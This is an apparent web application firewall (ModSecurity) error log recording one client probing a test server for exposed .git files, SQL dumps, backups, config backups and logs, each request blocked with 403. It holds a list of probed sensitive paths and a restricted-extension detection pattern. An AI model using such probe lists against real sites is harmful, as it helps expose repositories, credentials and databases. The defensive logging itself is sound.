[Sun Mar 22 01:06:28.650796 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2wAAAAI&quot;]
[Sun Mar 22 01:06:28.650935 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB2wAAAAI&quot;]
[Sun Mar 22 01:06:28.672948 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/HEAD&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3AAAAAI&quot;]
[Sun Mar 22 01:06:28.673140 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/HEAD&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3AAAAAI&quot;]
[Sun Mar 22 01:06:28.673265 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/HEAD&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3AAAAAI&quot;]
[Sun Mar 22 01:06:28.695482 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3QAAAAI&quot;]
[Sun Mar 22 01:06:28.695744 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3QAAAAI&quot;]
[Sun Mar 22 01:06:28.695911 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3QAAAAI&quot;]
[Sun Mar 22 01:06:28.717842 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/logs/HEAD&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3gAAAAI&quot;]
[Sun Mar 22 01:06:28.718033 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/logs/HEAD&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3gAAAAI&quot;]
[Sun Mar 22 01:06:28.718217 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/logs/HEAD&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3gAAAAI&quot;]
[Sun Mar 22 01:06:28.740146 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /src/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.gitignore&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3wAAAAI&quot;]
[Sun Mar 22 01:06:28.740349 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.gitignore&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3wAAAAI&quot;]
[Sun Mar 22 01:06:28.740487 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.gitignore&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB3wAAAAI&quot;]
[Sun Mar 22 01:06:28.762230 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/access.log&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB4AAAAAI&quot;]
[Sun Mar 22 01:06:28.762673 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/access.log&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB4AAAAAI&quot;]
[Sun Mar 22 01:06:28.762810 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/access.log&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB4AAAAAI&quot;]
[Sun Mar 22 01:06:28.807414 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/app.js.bak&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB4gAAAAI&quot;]
[Sun Mar 22 01:06:28.807950 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/app.js.bak&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB4gAAAAI&quot;]
[Sun Mar 22 01:06:28.808132 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/app.js.bak&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB4gAAAAI&quot;]
[Sun Mar 22 01:06:28.830174 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/backup.sql&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB4wAAAAI&quot;]
[Sun Mar 22 01:06:28.830645 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/backup.sql&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB4wAAAAI&quot;]
[Sun Mar 22 01:06:28.830835 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/backup.sql&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB4wAAAAI&quot;]
[Sun Mar 22 01:06:28.967490 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/config.php.bak&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB6QAAAAI&quot;]
[Sun Mar 22 01:06:28.967907 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/config.php.bak&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB6QAAAAI&quot;]
[Sun Mar 22 01:06:28.968050 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/config.php.bak&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QB6QAAAAI&quot;]
[Sun Mar 22 01:06:29.012309 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/db.sql&quot;] [unique_id &quot;ab8yhVJYD4HbtTsiw8QB6wAAAAI&quot;]
[Sun Mar 22 01:06:29.012700 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/db.sql&quot;] [unique_id &quot;ab8yhVJYD4HbtTsiw8QB6wAAAAI&quot;]
[Sun Mar 22 01:06:29.012832 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/db.sql&quot;] [unique_id &quot;ab8yhVJYD4HbtTsiw8QB6wAAAAI&quot;]
[Sun Mar 22 01:06:29.105088 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/debug.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFiAAAAAg&quot;]
